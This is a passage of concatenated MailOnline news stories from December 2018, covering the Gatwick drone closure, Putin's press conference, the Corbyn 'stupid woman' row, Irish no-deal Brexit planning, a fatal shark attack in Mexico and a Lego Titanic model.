closed because of the sighting of drones 'We have no idea what's going and the airport staff, although very nice, have no idea what's going on either. 'We've come through immigration twice. It's very worrying that a few drones can shut down an airport for so long. It's very likely this will happen again.' Patrick Campbell, 29, arrived at the airport at midnight for a 6.20am take off, only to find the security shutters locked shut. The executive chef was due to fly to Stockholm with Norwegian Airlines to spend Christmas with his Swedish girlfriend. But after passing through security and spending 100 on duty free gifts, he was 'spat back out of customs' and has not slept in almost 30 hours. Mr Campbell, from Bristol, said: 'It's so frustrating, it's ridiculous. When I first heard about the drone, I thought it was just kids messing around and never expected it to lead to this. 'It's unbelievable all the disruption it's caused and the queues to rebook are crazy - they go back the entire length of the terminal. 'The roll shutter was locked when I got here at midnight so nobody could get through to security. 'Security officers lifted the shutters at 3am and congratulated me as the first person to be let through the gates - we were all laughing and joking at the time. 'I went through the whole security process and spent 100 on some expensive Talisker whisky for my girlfriend's dad as a present.' When Mr Campbell arrived at the boarding gate, the screen said 'boarding' but there was nobody at the desk and the door was closed. Passengers were left in limbo until 7.30am - an hour after Mr Campbell's scheduled departure - when they were told by airline staff their flights were cancelled. Mr Campbell said: 'We were all instantly directed away from the waiting area, there must have been hundreds of passengers. A helicopter flies over the runway at Gatwick Airport this morning after it was closed 'Anyone with checked luggage had to collect it and queue to speak to one of two assistants at the desk to make alternative arrangements. 'I started queuing at 8am which feels like a lifetime ago and I am still stuck here and unable to fly. 'I've paid 60 for a week's parking which I won't get refunded, I can't drive after not sleeping for 29 hours and most frustratingly I need to get to Stockholm.' Passenger Laura Hudson Woodward was 'one of the lucky ones' to be transported to Southampton airport for her flight to Guernsey, which was scheduled to depart at 8.30am. The 38-year-old communications officer is flying with her son to spend Christmas Day with her parents. Ms Woodward, from Kent, said: 'We're now being taken by coach to fly out of Southampton. I'm so relieved to be honest, I guess I'm one of the lucky ones - it could have been so much worse. 'The airport staff have a lot to manage and seem to be doing their best to deal with the situation.' Jelly Willmott has lost out on valuable time with relatives in Los Angeles and said she has been 'killing time' at the airport shops since she arrived at the airport with her two daughters this morning. She said: 'We've been stood in this queue for hours so me and the girls are taking it in turns to wander around the airport to stretch our legs. 'I met people this morning who had a daytrip to Lapland booked and their whole Christmas trip has been cancelled, it's awful.' This photograph was circulated today as allegedly showing the drone over Gatwick Airport But Gareth Jones praised easyJet's response to the chaos, telling MailOnline: 'My son was due to fly home from Salzburg this morning on an Easyjet flight that was obviously cancelled. 'They have transferred him to the same flight tomorrow and put him up in a four-star hotel, with meals, overnight. 'Fortunately, he has no work commitments or time issues so it's not a bad deal at the end of the day. easyJet get some bad press but this is good service on their part.' Passenger Tim Rodda praised another airline, saying that he was on flight VS44 from Las Vegas to Gatwick, which was diverted to Heathrow. He told MailOnline: 'Virgin laid on coaches to transport any passengers that needed to get to Gatwick and I thought the Virgin staff did an excellent job in very trying circumstances.' ** Caught up in the Gatwick chaos? Please email: s.murphy-bates@mailonline.co.uk or tips@dailymail.com ** Russian President Vladimir Putin applauded President Donald Trump's announcement that the U.S. would withdraw troops from Syria saying the presence was never legitimate in the first place Putin spoke at his annual press conference, a day after Trump revealed his plan on Twitter, inviting criticism that the vacuum would benefit Russia, which has an important base there and is already moving to establish a permanent expanded military presence. 'I don't think they're needed. Let's not forget that the presence of [U.S.] troops there is illegitimate,' Putin told a collection of 1,700 reporters who his him with a range of queries in Moscow Thursday. 'That's good.' Russian President Vladimir Putin praised President Trump's decision to pull out of Syria, and also called the U.S. military presence there illegitimate 'The U.S. is there without backing from the United Nations or an invitation from the Syrian government,' Putin continued. Russia is there at the invitation of the Syrian government. But if the U.S. has decided to withdraw, that's good,' Putin also repeatedly referred to Trump, who cancelled a planned meeting with him last month in Buenos Aires, as 'Donald,' USA Today reported. President Trump continues to take fire for his Russia ties, including a newly revealed signed document from 2015 that was a letter of intent to build a Trump condo tower in Moscow. The project would have given Trump $4 million with no investment down and a percentage of revenues in exchange for branding and marketing help. The spa could have been named after Ivanka Trump under the deal, which fell through. Syrian Democratic Forces and U.S. troops are seen during a patrol near Turkish border in Hasakah, Syria November 4, 2018 GOP Rep. Adam Kinzinger disputed the president's claim that ISIS had been defeated President Donald Trump declared a victory in Syria in the U.S. campaign against ISIS as the military prepares for a total pullout Putin continued to pitch the importance of improved relations between the U.S. and Russia. But he said he didn't know if he would meet Trump soon. Trump cancelled a planned meeting in November in Argentina after Russia seized Ukrainian ships after a Russian sub rammed a Ukrainian tug. 'I don't know if such a meeting will happen or not,' Putin said. Trump ended up canceling the meeting, which was to occur in Buenos Aires shortly after longtime lawyer Michael Cohen's guilty plea, where he acknowledged lying to Congress about a Trump tower deal in Moscow. 'Based on the fact that the ships and sailors have not been returned to Ukraine from Russia, I have decided it would be best for all parties concerned to cancel my previously scheduled meeting in Argentina with President Vladimir Putin,' Trump tweeted from Air Force One in November. Putin also issued a chilling warning Thursday about the rising threat of a nuclear war, saying 'it could lead to the destruction of civilization as a whole and maybe even our planet' - and putting the blame squarely on the U.S. Speaking at his annual news conference, Putin scoffed at Western claims he wants to dominate the world and said Western countries are antagonizing Russia for their own domestic reasons, and at their own peril. He dismissed claims of Russian interference abroad, from a nerve agent poisoning in Britain to an alleged effort to infiltrate the U.S. National Rifle Association. Instead he sought to paint himself as the world's protector. Pointing at the U.S. intention to withdraw from the 1987 Intermediate-Range Nuclear Forces, or INF, Treaty, Putin warned that if the U.S. puts intermediate-range missiles in Europe, Russia will be forced to take countermeasures. 'We are witnessing the breakup of the arms control system,' Putin said, noting the U.S. plan to opt out of the INF Treaty and its reluctance to negotiate the extension of the New START agreement. U.S. officials say the withdrawal from the INF was prompted by Russian violations of the treaty. Putin noted that Western analysts are talking about the possibility of using low-yield nuclear weapons. 'There is a trend of lowering the threshold' of using nuclear weapons, Putin said. 'Lowering the threshold could lead to a global nuclear catastrophe.' 'We will have to ensure our security,' he said. 'And they shouldn't squeak later about us gaining unilateral advantages. We aren't seeking advantages, we are trying to preserve the balance and ensure our security.' Putin also emphasized that the U.S. is pondering the use of ballistic missiles with conventional warheads, saying that the launch of such a missile could be mistaken for the launch of a nuclear-tipped one and trigger a global catastrophe. 'If that happens, it could lead to the destruction of civilization as a whole and maybe even our planet,' he said. Putin also noted that the U.S. appears to show little interest in extending the New START nuclear arms reduction treaty, which expires in 2021. 'You aren't interested, you don't need it? OK, we know how to ensure our security,' he said. Putin said it's the U.S., not Russia, that's aspiring to dominate the world. He pointed at U.S. annual defense spending exceeding $700 billion, comparing it with Russia's military budget of $46 billion. He had one nice thing to say about the United States, however: He welcomed President Donald Trump's decision to withdraw the U.S. military from Syria. The U.S. 'has done the right thing,' Putin said, reaffirming the long-held Russian argument that the U.S. presence in Syria was illegitimate because it wasn't vetted by the U.N. Security Council or approved by Syrian President Bashar Assad's government. The pullout is also likely to strengthen Russia's role in Syria's future. Putin said accusations of Russian interference in the West were trumped-up. He insisted that a Russian woman in U.S. custody has not carried out any mission for the Russian government, even though she has pleaded guilty to acting as a covert agent of the government. Putin claimed that Maria Butina - accused of trying to infiltrate the NRA and American conservative circles around the time of Trump's election - made the guilty plea because of the threat of a long prison sentence in the case, which Putin described as fabricated. He described British accusations of Russian involvement in the poisoning of a former spy in Salisbury as part of Western efforts to isolate and weaken Russia. However, he voiced readiness to normalize ties after the poisoning of Sergei Skripal and his daughter in March. Russian President Vladimir Putin speaks during his annual news conference in Moscow, Russia, Thursday, Dec. 20, 2018 Russian President Vladimir Putin said he did not know if another meeting with Trump would happen Putin showed no sign of backing down from Russia's stance on Ukraine. He accused his Ukrainian counterpart of provoking a naval standoff with Russia to boost his electoral prospects. The Russian coast guard fired upon and seized three Ukrainian naval vessels and 24 seamen when they tried to sail from the Black Sea into the Sea of Azov in what U.S. and its NATO allies condemned as unjustified use of force by Russia. On the economy, Putin hailed another year of Russian growth after a previous period of stagnation. Russia's gross domestic product is set to grow by 1.8 percent this year, while industrial output has grown faster at 3 percent, he said. The Russian president noted that the nation's hard currency reserves have increased from $432 billion at the start of the year to $464 billion now. The positive statistics follow a difficult period in recent years when Russia's economy has suffered a combined blow of low oil prices and Western sanctions. Russia's economy registered 1.5-percent growth last year following the two-year stagnation. Putin pledged that the government will create incentives to speed up growth. Two courier drivers who were filmed carelessly chucking packages into a delivery van just days before Christmas will keep their jobs, despite outrage online. In a video shared to Facebook, the two Fastway workers can be seen tossing boxes between the two vehicles. The careless act was filmed between Wellington and Wairarapa on Thursday. The man who uploaded the footage said he had been watching the two men for five minutes before he started recording. 'These are your Christmas gifts with Fastway,' he said in the clip. 'Look at the care and precision that they handle our gifts with ... love to see those fragile gear being biffed around like that. This is the fast way, so they say.' Fastway's chief executive officer told the New Zealand Herald that what happened was an isolated incident. In a video shared to Facebook, two couriers can be seen tossing boxes between the two vehicles Scott Jenys said in a statement: 'This is an isolated incident and I can assure you that our drivers and franchise business owners take immense pride in their roles. 'We are incredibly disappointed by the actions of these two drivers and we've acted swiftly to commence disciplinary action,' he told the publication. 'Fastway will be taking the necessary employment action as this is a misconduct issue and we don't condone this behaviour.' People were quick to criticise the workers, and declared they didn't want their packages to be treated the same. The only lip reader to back Jeremy Corbyn's claim that he mouthed 'stupid people' in the Commons yesterday was dropped by the CPS after being accused of misleading a court about her qualifications. Jessica Rees came out in support of the Labour leader after he denied calling Theresa May a 'stupid woman' under his breath during a heated Brexit debate. The forensic lip reader, who is profoundly deaf, told the Daily Mirror that it was 'very clear if you lipread him he's saying "stupid people",' despite the majority of experts suggesting otherwise. It has since emerged that Ms Rees was dropped as a star witness for the Crown Prosecution Service in 2005 after her credibility was challenged in court. Lip reading experts consulted by the Daily Mail reviewed the footage frame by frame to conclude Mr Corbyn's mouth movements clearly spelled out W-O-M-A-N, not 'people' Ms Rees, who helped to both prosecute and exonerate hundreds of defendants, was accused of lying about graduating from Oxford by a defence barrister. Lawyer Edward Henry argued Ms Rees's CV suggested she completed a degree at Balliol College, when in fact she had only finished the first two years of the course. Ms Rees - whose testimony was used against So Solid Crew's Shane Neil - conceded that she had not finished the course but she was dropped by the CPS the next day. Police were even asked to investigate Ms Rees on possible perjury charges and she was interviewed under caution, but the case against her was dropped. Ms Rees was criticised by So Solid Crew rapper Shane Neil (pictured) after drug and gun charges were dropped against him In a statement at the time, the CPS said: 'The Crown Prosecution Service has decided not to rely on Jessica Rees as a prosecution witness in current or future cases.' Ms Rees was criticised by So Solid Crew rapper Shane Neil after drug and gun charges were dropped against him. The key evidence against him was her transcription of CCTV footage, in which he allegedly said 'do you want to buy a tablet?' and 'get rid of the gun'. However another lip reader failed to recognise the word 'gun' and the case was eventually dropped as police found no further evidence of drug dealing. Speaking about Ms Rees testimony, the artist said: 'She could be putting more innocent men behind bars for something they never said.' Many spoke out in defence of Ms Rees at the time, including retired Flying Squad detective Jim Crinigan, who described her work as 'absolutely fantastic'. MailOnline has contacted the CPS for comment. Corbyn 'DID say stupid woman': Lip-readers agree on what the Labour leader mouthed to Theresa May (with only ONE agreeing with him that he said 'people') Jeremy Corbyn was yesterday accused of lying to Parliament after he denied calling Theresa May a 'stupid woman' in the Commons. Lip-readers said the Labour leader muttered stupid woman during a televised exchange with the Prime Minister. Mr Corbyn claimed he had said stupid people and refused to apologise. Almost every lip reader consulted by politicians and journalists this afternoon agrees that Jeremy Corbyn called Theresa May a 'stupid woman' under his breath at PMQs. Experts said the shape formed by the lips for the letter W was impossible to confuse with the P of people. Mr Corbyns denial sparked disbelief on the Tory benches. Commons Leader Andrea Leadsom said the public would draw their own conclusions. Some female Labour MPs also condemned their leaders remarks, sparking a death threat against one of them from a Corbyn fanatic. Mr Corbyn, seated during PMQs, can be seen on camera muttering a response to Theresa May which looks like 'stupid woman'. The Labour leader says he says 'stupid people' in reference to Tory MPs Mr Corbyns comments should be investigated by the parliamentary standards commissioner, according to Alistair Carmichael, a Lib Dem former minister. Tory MP Rachel Maclean said steps should be taken to verify the video evidence and get the apology the Prime Minister deserves. However, conduct in the Commons chamber is the domain of Speaker John Bercow and he ruled it was not a matter for the commissioner. He also said he could not take action because Mr Corbyn had issued a denial and his words were not recorded on tape. The Labour leader's comments sparked a huge row in the Commons with Tory MPs demanding Mr Corbyn return to Parliament to apologise. Only one expert quoted agrees with Mr Corbyn's version that he said 'stupid people' to the Tory benches in general rather than 'stupid woman' to Mrs May. But that opinion was outvoted by the lipreaders who said judging by the shape of his mouth they thought Mr Corbyn said 'woman'. His denial has sparked further outrage, including from Piers Morgan, who has asked why anyone should trust a further word out of the Labour leader's mouth if he is happy to deny something 'we can all see he did'. Among the lipreaders consulted about Corbyn's comments, their verdict broke down as follows : For the prosecution: Famous deaf percussionist Dame Evelyn Glennie, who can read lips, is quoted by BBC Radio, The Sun, the Mirror, the Express, the Guardian, the Times, and in our own report for MailOnline she was 'very certain' he had said woman. Her comments came via Tim Johns, who produces the Jeremy Vine show on BBC radio, and who tweeted: 'I just showed Evelyn Glennie, the famous percussionist, the footage of Jeremy Corbyn in the Commons. She's deaf and can lip read. She wasn't aware of the story and her interpretation of what he said was 'stupid woman'. She says she's very certain.' Sky News reports the consensus of a 'team' of lip readers contradicted Labour's denials, and that Mr Corbyn did indeed call the PM a 'stupid woman'. Sky says its experts, including former expert witness forensic lip reader Tina Lannin, have concluded the mouth shape for 'wo' for woman is unmistakeable. Speaker John Bercow said he had consulted 'lip speakers' who believed the word was 'woman', but he added he himself accepted the Labour leader's denial. said he had consulted 'lip speakers' who believed the word was 'woman', but he added he himself accepted the Labour leader's denial. West Wing actor Rob Lowe , who is deaf in one ear, also waded into the row, tweeting he had seen Mr Cobryn 'say it with his own eyes'. For the defence: Forensic lip-reader Jessica Rees told the Mirror: 'It's very clear if you lipread him he's saying 'stupid people'.' Speaker Bercow, who has insisted he did not see the incident and has promised to review the footage, found himself in hot water when Leader of the House Andrea Leadsom pointed out he was accused of having said the same thing to her. Tory MPs beseiged the Speaker after the incident offering to show him visual evidence of what Mr Corbyn muttered Leader of the House Andrea Leadsom raised a point of order to refer to an incident earlier this year where Mr Bercow was accused of calling her a 'stupid woman' She raised a point of order to refer to an incident earlier this year where Mr Bercow was accused of calling her a 'stupid woman'. She said: 'If individuals who are found to have made unwelcome remarks should apologise, why it is that when an opposition member found that you had called me a 'stupid woman', you did not apologise in this chamber?' After repeated jeers and banging from Tory MPs, Mr Bercow said the matter had been 'treated of' previously. Mr Corbyns jibe came toward the end of a fractious session of Prime Ministers Questions, during which Mrs May mocked the Labour leader over his failure to follow through on a threat to call a vote of no confidence in the Government. The PMQs spat that pushed Corbyn over the edge Corbyn: 'There is no majority in this House for no-deal. 'Isn't this just a deeply cynical maneuver from a failing and utterly reckless prime minister?' May: 'I know it's the Christmas season and the pantomime season but what do we see from the Labour frontbench and him. 'He's going to put a confidence vote - 'oh yes he is. Oh no he isn't'. 'I've got some news for him, I've got some advice for him. 'Look behind you. They're not impressed and neither is the country.' Corbyn: (Shakes his head and appears to mutter 'stupid woman'. Advertisement She said Mr Corbyn had bottled it and suggested his on-off threats were like something from Christmas pantomime season. Visibly furious, the Labour leader was then seen to apparently mutter the words stupid woman. Footage of the incident went viral on social media and Mr Corbyn watched a clip on a Labour MPs phone before holding frantic conversations with senior colleagues. Tory MPs tried to draw Mr Bercows attention to the incident by gathering around the Speakers chair and brandishing mobile phones. Amid chaotic scenes, Mr Bercow agreed to review the video evidence while coming under fire from Mrs Leadsom and Tory MP Vicky Ford. Both accused him of having used the same sexist remark against them. Mr Corbyn was dragged back to the Commons chamber three hours later to hear Mr Bercow reveal that lip speaking experts had concluded he did call the Prime Minister a stupid woman. Mr Bercow said it was easy to see why people thought Mr Corbyn had used the words, but added it was not possible for anyone to be 100 per cent certain. Mr Corbyn told MPs: During Prime Ministers Question Time today, I referred to those who I believe were seeking to turn a debate about the national crisis facing our country into a pantomime as stupid people. Mr Speaker I did not use the words stupid woman about the Prime Minister or anyone else, and am completely opposed to the use of sexist or misogynist language in absolutely any form at all. Mrs Maclean told MPs: Read my lips: I dont believe him. Mrs May had said Mr Corbyn's position as descending into 'pantomime', and said his own party was not behind him Members are banned from accusing each other of lying to Parliament, but in an unusual move, Mr Bercow let her remarks pass. Former Tory chairman Sir Patrick McLoughlin said he had seen the incident himself, telling the House: He muttered words, which were quite clearly visible, accusing the Prime Minister of being a stupid woman. He later told reporters: He seemed to panic when he realised hed been spotted. He virtually ran out of the chamber to give him time to try and cover things up. He tries to present himself as a loveable father figure, but the mask has slipped. Mrs May was asked about the incident and replied: I think that everybody in this House, particularly on the 100th anniversary of women getting the vote, should be aiming to encourage women to come into this chamber and to stand in this chamber, and should therefore use appropriate language in this chamber when they are referring to female members. Which other MPs have been accused of sexist remarks in the Commons? David Cameron telling Angela Eagle to 'calm down dear': In April 2011 the former PM was slammed for jeering at Ms Eagle as she heckled him alongside Ed Miliband. Jeremy Corbyn 'mansplaining' International Women's Day to Theresa May: The last time Mr Corbyn got into trouble at PMQs, he told Mrs May it was IWD when she had not mentioned it herself - prompting her to snap back that he did not need to remind her. Boris Johnson calls Emily Thornberry by her husband's name: During a furious clash, the ex-Foreign Secretary was told off John Bercow for mocking his Labour shadow as 'Lady Nugee' - her formal title but one which she does not use professionally. William Hague brands a Labour MP a 'stupid woman': The jibe has been used before when the ex-Tory leader attacked Labour's Cathy Jamieson in 2013. He later apologised. John Bercow compared Esther McVey to a washing machine: The Speaker has been repeatedly accused of sexist remarks. In 2015 he cut off the then Employment Minister to quip 'I'm reminded of the feeling when one think the washing machine will stop but it doesn't'. He apologised. John Bercow brands Andrea Leadsom a 'stupid woman': Bercow was in trouble again in May this year when he was overheard criticising Mrs Leadsom to Labour's chief whip Nick Brown. The Commons Leader hurled it back at him during today's furious exchanges. Advertisement Labour MP Stella Creasy was among those urging Mr Corbyn to say sorry for his stupid, dinosaur comments. She added: This is not OK. PMQs is a hotbed of emotions but I hope that Jeremy will accept this kind of behaviour isnt his normal good nature or what we expect of progressive men. Fellow Labour MP Jess Phillips said: He shouldnt call her a stupid woman. He should apologise if he did, it is sexist. Mr Corbyns wife last night insisted the Labour leader was not at fault. Laura Alvarez, who at 49 is two decades his junior, rarely speaks in public, but yesterday she leapt to her husbands defence. Accompanying Mr Corbyn as he left Parliament, she said: He did not say anything. He is the most respectful person in the world. He respects everyone. Mr Corbyns hard-Left allies also rallied round. The Momentum pressure group said Mr Corbyns Tory critics should spend more time ending their austerity agenda which is destroying womens lives across the country. Miss Creasy faced a backlash on social media, with one Twitter user branding her a right-wing red Tory Blairite for criticising the stupid woman jibe. The user, identified only as Rozalia Luxenburg, added: The only good Blairite is a dead one. Dame Margaret Beckett accused Conservative MPs of trying to stage an orchestrated riot in order to embarrass the Labour leader and distract attention from Brexit. Tory grandee Sir Desmond Swayne said he would be deeply concerned if MPs were going to be held to account for everything they muttered under their breath. After My Corbyn returned to the House of Commons to insist he did not say 'stupid woman', but rather, 'stupid people', some on Twitter exploded in outrage including journalist Piers Morgan. He called the Labour leader's denials a 'flagrant lie' and said Mr Corbyn was 'digging himself an even deeper hole' by claiming he said 'stupid people'. Advertisement Construction has been halted on luxury properties being developed by the self-titled 'Bad Boy of Brexit', Arron Banks. The millionaire UKIP and Brexit donor has hit a stumbling block on his project in the West Country amid complaints from residents and the local council. The six homes, expected to fetch an estimated 1million each, are marketed at City workers and were granted approval in 2015. But amended plans submitted by his Bristol-based property investment company Old Down Ltd are facing opposition from nearby residents and Bath and North East Somerset Council's landscape environment team. Work has halted on Brexit and Ukip backer Arron Banks' six luxury homes in Bath amid complaints from locals and Green campaigners Arron Banks' entry into the Bath housing market seems to be on hold. Work has stopped just months into the project which will see six luxury homes sold to Londoners for more than 1million each The properties, marketed to residents commuting to London from Bath, were expected to fetch more than 1million each once constructed. The millionaire UKIP and Brexit donor has hit a stumbling block on his project in the West Country The six homes, each with four bedrooms and garages, are set to be built on the site of a former nursery and have been marketed to Londoners as a 'very good deal' and 'ideal for commuters'. Permission for plans submitted by A Banks was granted in 2015 but construction only began in March, days before it was due to expire. Banks' Bristol-based property investment company Old Down Ltd submitted amended plans which include changing the stone brickwork to Scandinavian redwood cladding. The changes have angered neighbours and green councillor Lin Patterson, who described the development 'intrusive'. Bath and North East Somerset Council's landscape team also raised concerns about its impact on nearby trees. Bricklayers left the site, on land beside Avon Rugby Football Club, last month after their firm Helm Construction went into administration. Green Councillor Lin Patterson wrote in her objection: 'It has made unauthorised changes to the structures and positioning of the buildings. 'It now is highly intrusive to nearby residents. It is unsafe due to flood risk. It is likely to be unstable due to ground springs. The exterior finish is incongruous. Please consider this in committee.' The new application seeks to remove a condition which 'ensures that trees to be retained are not adversely affected by the development proposals'. Original plans submitted by Mr Banks were approved by the local council in 2015. Amended plans for all six properties have been submitted by his Bristol-based property investment company Old Down Ltd. However, they face opposition from nearby residents and Bath and North East Somerset Council's landscape environment team In its response, the B&NES Council landscape team also raised concerns about the amended plans. Old Down Ltd can expect to hear soon whether it will be allowed to continue with the development. The council's target decision date of December 14 has already expired. Mr Banks was recently reported to the National Crime Agency on suspicion of making illegal donations in the Brexit battle. He insists the 6million he ploughed into Leave.EU campaign was 'generated from cash and businesses in the UK'. Police are looking at the case after investigations by the Electoral Commission. Mr Banks insisted the saga was a 'misunderstanding' about a 'holding company' he owns called Rock Holdings based on the Isle of Man. He said the money he loaned Leave.EU during the referendum came from the UK-based firm Rock Services, which Mr Banks said insures thousands of people in Britain. Mr Banks has not been arrested and has repeatedly denied any wrongdoing, including claims the money came from Russia. Mr Banks has been contacted for comment. The Irish government and prime minister Leo Varadkar have been pushing a hard line in Brexit talks, furiously demanding that the UK accepts a 'backstop' to avoid a hard Irish border. But they may come to regret that approach - which has been branded 'very unhelpful' by critics - now that Dublin's own contingency plans have shown they face being hammered by a no-deal outcome, with the threat of food shortages and huge queues at ports. Hundreds of parking spaces for trucks are being created at the port at the Republic's capital, but the preparations will not be ready for the UK crashing out in March. The plans published by the Irish government insist it will still try to avoid a hard border with Northern Ireland even if there is no deal. But it warned there would be 'severe' impacts including on crucial supply chains and any measures that are taken can only be a 'damage limitation exercise'. Deputy PM Simon Coveney admitted the problems highlighted in the report were 'stark' and 'sobering'. Brexiteers seized on the dire assessment to urge the Irish government to be more 'helpful' in negotiations. Irish deputy PM Simon Coveney (file picture) admitted the problems highlighted in the report were 'stark' and 'sobering' Theresa May was meeting Polish counterparts in London today along with Foreign Secretary Jeremy Hunt (left) and Chancellor Philip Hammond (right) Tory MP Henry Smith told MailOnline: 'The irony of these plans is striking. No deal notices re-written to remove claim it is 'unlikely' Britain will crash out The Government has re-written more than 100 no deal notices to remove claims it is 'unlikely' there will be not be a divorce agreement in place. The move has been rolled out since the Cabinet decided to activate more than 300 no deal plans on Tuesday. Some 3,500 troops have been put on standby while businesses and families have been warned to prepare themselves for no deal. Notices published in the summer insisted no deal was an 'unlikely scenario'. Now they say: 'This technical notice offers guidance for continued planning in the event of no deal offers guidance for continued planning in the event of no deal.' Anew paragraph added at the top of the introduction to the notices insists: 'Delivering the deal negotiated with the EU remains the government's top priority. This has not changed.' Advertisement 'Leo Varadkar has not been very helpful in the Brexit process. He has sought to gain politically over the pragmatism that is needed. 'Ireland has a great deal to lose from Brexit not being delivered properly.' The details were revealed after the EU issued its own no-deal update, making clear there will be restrictions on British airlines, extra customs checks and limits on the UK's banks and insurers. EU Commission president Jean-Claude Juncker said a disorderly British exit would be a 'catastrophe', while one EU official warned of the worst disruption at Britain's borders 'since wartime'. Holyhead in Wales is one of the main destinations served by Dublin port but the UK's role as a so-called land-bridge between Ireland and Europe has been cast into doubt by fears of a hard Brexit. According to the Irish plans, work is ongoing to create 33 inspection bays for trucks coming off ships. Parking for 270 trucks would ensure those awaiting inspection do not halt other port traffic. Office accommodation for an additional 144 staff will be required within the area. It said the application of World Trade Organisation tariffs and regulatory divergence could affect supply chains and the cost and/or availability of imports from the UK. 'A further fall in the value of sterling would impact on the competitiveness of Irish businesses, while a deterioration in economic conditions in Britain could impact on exports. What does Dublin's no deal plan cover? Dublin Port is creating extra parking for hundreds of trucks from the UK awaiting inspection after Brexit, the Irish Government said. Dozens more bays to carry out checks will also be made in a bid to avoid halting other traffic, plans for a no-deal withdrawal by the UK revealed. Areas covered by plans published in Dublin late on Wednesday evening also included: Agriculture Shipping Fishing Data Security Students The Common Travel Area The future of Britain as a goods 'land bridge' Aviation Advertisement 'Whilst Brexit's potential macro-economy impacts dominate headlines, Brexit has the potential to impact every element of economic functionality: trade flows, supply chains, economic and business operations, the labour market and consumer confidence and spending.' It highlighted particular pressures on sectors like agri-food, fisheries, aviation and road transport, pharma-chemicals, electrical machinery, retail and wholesale business. The economic impact is also likely to be greater in certain regions - especially near the border with Northern Ireland - and on smaller businesses that are more dependent on trade with Britain and Northern Ireland. Mr Coveney said the country was accelerating its planning for the UK crashing out of the EU without a deal. Measures are being introduced to try and avert shortages of food or medicine, as the document warned a no-deal Brexit could 'affect supply chains and the cost and/or availability of imports from the UK'. Ireland and Brussels have insisted on including a 'backstop' in the Withdrawal Agreement to avoid a hard border between the Republic and Northern Ireland. But he suggested there would still be a 'determined' effort not to put border infrastructure in place. 'If we don't have that deal, then preventing border infrastructure is still something we are determined to do, but it becomes much more complicated and we don't have a contingency plan to avoid border infrastructure in this document EU commission president Jean-Claude Juncker today announced the bloc has started implementing no-deal Brexit plans A Government report said: 'For Ireland, a no-deal Brexit would potentially involve severe macroeconomic, trade and sectoral impacts. 'Grappling with the enormous range of impacts both in the immediate short term and in the longer term will involve difficult and significant choices of a practical, strategic and political nature.' The 130-page dossier said: 'A no-deal Brexit would have negative consequences for Irish growth, both in the short and long run, relative to a no-Brexit scenario.' An increase in public borrowing may be required. The Government report said: 'A no-deal Brexit would be an exceptional economic event which would be met with exceptional measures to support the continued operation of the Irish economy and our international trading links.' It said there would be gaps in policing and justice arrangements with Northern Ireland including the European Arrest Warrant which allows for the speedy extradition of suspects. It warned the movement of people and businesses out of the UK could present economic opportunities but risked placing strain on infrastructure. A 35-year-old scuba diver has died after a shark attacked him and bit off his entire left leg and part of his abdomen. The shocking shark attack took place off the coast of Puerto Penasco, a city resort in the north-western Mexican state of Sonora on the Gulf of California. According to local media, 35-year-old Nahum Verdugo Aguilera, who came from the state of Baja California, lost his life shortly after the attack. The attack took place in Puerto Penasco, a city resort in the north-western Mexican state of Sonora on the Gulf of California (pictured) Local police said that the incident happened at around 11am when the victim went out fishing with friends. As soon as they realised he had been attacked, his companions took him ashore in the boat but the diver had already lost his life. The police statement said: 'As soon as he went into the water, not even a minute passed before he was attacked and then seen floating on the surface. 'When they (colleagues) brought him on board the boat, they realised that he was missing a leg and part of his belly and rushed him to Puerto Penasco. 'Specialists arrived as well as the funeral company Santa Cecilia. The Ministerial Agency for Criminal Investigations has secured the boat, the Lidia Isabel.' Following a preliminary investigation, official sources said: 'Witnesses said that the man was diving in an area called Hawey, 10 kilometres (6.2 miles) south-east of San Jorge Island, when the shark attacked him, biting off his left leg from the hip.' The investigation continues. A grandfather has created a replica of the Titanic using 40,000 Lego bricks - and his 10ft model even boasts mini version's of movie characters Jack and Rose. Keith Morton, 65, has spent two years and hundreds of hours intricately placing each separate brick into the three metre long structure of the famous ship. Despite not building anything out of Lego for 50 years since he was a child, Mr Morton's interest in the hobby was peaked when he started using Lego with his grandchildren. Keith Morton (pictured) has spent two years and hundreds of hours intricately placing each separate brick into the three metre long structure of the famous ship The detailed design even includes Lego versions of Jack and Rose (pictured) - characters in the 1997 film of the doomed voyage - turrets and miniature lifeboats Mr Morton, who lives in Leeds with his partner Karen Birch, 59, has built the huge model on his dining room table in three separate sections - before positioning it in his spare bedroom Due to buying mostly second hand bricks, he has managed to keep the cost of the ship down to just 780. If he had built it with brand new bricks it would have cost more than 3000 Mr Morton spotted the Titanic replica model online and realised he could download the guidelines to make it. But when he started in February 2016, he didn't quite realise the scale of the task he had undertaken The grandfather-of-ten spotted a similar model built in America and decided to download the design; however, he didn't realise the scale of the task he had taken on in February 2016. Almost two years later, the brilliant builder is just a few bricks away from completing the incredible structure. The detailed design even includes Lego versions of Jack and Rose - characters in the 1997 film of the doomed voyage - turrets and miniature lifeboats. Mr Morton, a self-employed surveyor, said: 'I haven't made anything since I was a young boy but I have always had a love of Lego. 'I made little figures when playing with the grandchildren and decided to have a look online if there was a model I could build as a hobby. 'I spotted the Titanic replica model online and realised I could download the guidelines to make it. 'I didn't realise quite how big it was or how long it would take it but I am 99.9% done with it and it is finally almost finished.' There is even a nod to James Cameron's award-winning film Titanic, which is a fictionalised account of the sinking of the vessel. It stars Leonardo DiCaprio as Jack and Kate Winslet as Rose, who fall in love on the ship only for disaster to strike One Lego figure is making an expression of horror, clearly a nod to the iceberg responsible for sinking the ship. The British passenger liner sank in the North Atlantic Ocean in the early hours of April 15, 1912 after colliding with an iceberg The original ship, which held 2,435 passengers, was 269.1m long and 53.3m height while Mr Morton's model (pictured) is 3m long and 0.7m high In June 2018, just months from completing the structure, Mr Morton had the unenviable shock of a single brick being out of place on the back of the ship - throwing the rest of that side out of line. But he was able to get his creation back on track, and it now includes intricate detail throughout - especially on the deck (pictured) Mr Morton, who lives in Leeds, West Yorkshire, with his partner Karen Birch, 59, has built the huge model on his dining room table in three separate sections - before positioning it in his spare bedroom. He has had to purchase thousands of individual bricks specifically for the model from BrickOwl and BrickLink - Lego brick retailers. However, due to buying mostly second hand bricks, Mr Morton has managed to keep the cost of the ship down to just 780. He added: 'Each separate style of brick has a specific serial number on which I have to type into the website. 'If I would have built it with brand new bricks it would have cost over 3000. 'When a shoddy brick turned up or one that was a bit dirty, I would just throw it away instead.' RMS Titanic was a British passenger liner that sank in the North Atlantic Ocean in the early hours of April 15, 1912 after colliding with an iceberg. The original ship, which held 2,435 passengers, was 269.1m long and 53.3m height while Mr Morton's model is 3m long and 0.7m high. The final survivor of the sinking, Millvina Dean, 